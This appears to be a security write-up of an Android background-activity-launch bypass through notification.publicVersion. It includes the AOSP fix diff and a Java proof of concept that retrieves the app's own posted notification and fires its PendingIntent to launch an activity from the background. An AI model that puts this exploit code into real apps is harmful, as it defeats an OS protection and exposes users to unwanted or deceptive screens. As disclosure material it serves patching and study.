BAL: 利用notification实现后台打开activity

Fix BAL via notification.publicVersion

We stripped the token that allows app to retrieve their own notification
and fire their own PI to launch activities from background. But we
forgot to strip the token from notification.publicVersion

Bug: 278558814
Test: NotificationManagerTest#testActivityStartFromRetrievedNotification_isBlocked
Merged-In: I8f25d7a5e47890a0496af023149717e1df482f98
Change-Id: I8f25d7a5e47890a0496af023149717e1df482f98
diff --git a/core/java/android/app/Notification.java b/core/java/android/app/Notification.java
index 2eb6ca7..b4e1169 100644
--- a/core/java/android/app/Notification.java
+++ b/core/java/android/app/Notification.java
@@ -3476,8 +3476,11 @@
      *
      * @hide
      */
- public void setAllowlistToken(@Nullable IBinder token) {
- mAllowlistToken = token;
+ public void clearAllowlistToken() {
+ mAllowlistToken = null;
+ if (publicVersion != null) {
+ publicVersion.clearAllowlistToken();
+ }
     }
 
     /**
diff --git a/services/core/java/com/android/server/notification/NotificationManagerService.java b/services/core/java/com/android/server/notification/NotificationManagerService.java
index 488745c..5e3b3bb 100644
--- a/services/core/java/com/android/server/notification/NotificationManagerService.java
+++ b/services/core/java/com/android/server/notification/NotificationManagerService.java
@@ -4442,7 +4442,7 @@
                     // Remove background token before returning notification to untrusted app, this
                     // ensures the app isn't able to perform background operations that are
                     // associated with notification interactions.
- notification.setAllowlistToken(null);
+ notification.clearAllowlistToken();
                     return new StatusBarNotification(
                             sbn.getPackageName(),
                             sbn.getOpPkg(),

public class Notification implements Parcelable
{
    ...

    public Notification publicVersion;
    private IBinder mAllowlistToken; 
    
    ...
}

public static void testNotificationService(Context ctx) {

    class MyReceiver extends BroadcastReceiver {

        @Override
        public void onReceive(Context context, Intent intent) {
            NotificationManager manager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);

            StatusBarNotification[] activeNotifications = manager.getActiveNotifications();
            for (StatusBarNotification statusBarNotification: activeNotifications) {

                Notification notification = statusBarNotification.getNotification();
                Notification n = notification.publicVersion;
                PendingIntent pendingIntent = n.contentIntent;
                System.out.println(statusBarNotification.toString());
                try {
                    ActivityOptions options = ActivityOptions.makeBasic();
                    options.setPendingIntentBackgroundActivityLaunchAllowed(true);

                    Thread.sleep(10000);

                    pendingIntent.send(ctx, 0, new Intent(), null, null, null, options.toBundle());

                } catch (PendingIntent.CanceledException | InterruptedException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }

    IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
    ctx.registerReceiver(new MyReceiver(), filter);


    NotificationManager manager = (NotificationManager) ctx.getSystemService(Context.NOTIFICATION_SERVICE);
    Notification.Builder notification = new Notification.Builder(ctx);

    manager.createNotificationChannel(
            new NotificationChannel(
                    "channel",
                    "publicVersion" /* notification channel name */,
                    NotificationManager.IMPORTANCE_DEFAULT));

    Intent notifyIntent = new Intent(ctx, FGService.class);
    notifyIntent.setFlags(notifyIntent.getFlags() | Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT | Intent.FLAG_ACTIVITY_REORDER_TO_FRONT | Intent.FLAG_ACTIVITY_TASK_ON_HOME);
    PendingIntent notifyPendingIntent = PendingIntent.getService(
            ctx, 0, notifyIntent,
            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE
    );
    notification.setContentIntent(notifyPendingIntent);


    Notification.Builder builder = new Notification.Builder(ctx, "channel");
    builder.setContentIntent(notifyPendingIntent);

    builder.setPublicVersion(notification.build()).setSmallIcon(Icon.createWithData(new byte[0], 0,0)).setShortcutId("publicVersion").build();

    manager.notify(0, builder.build());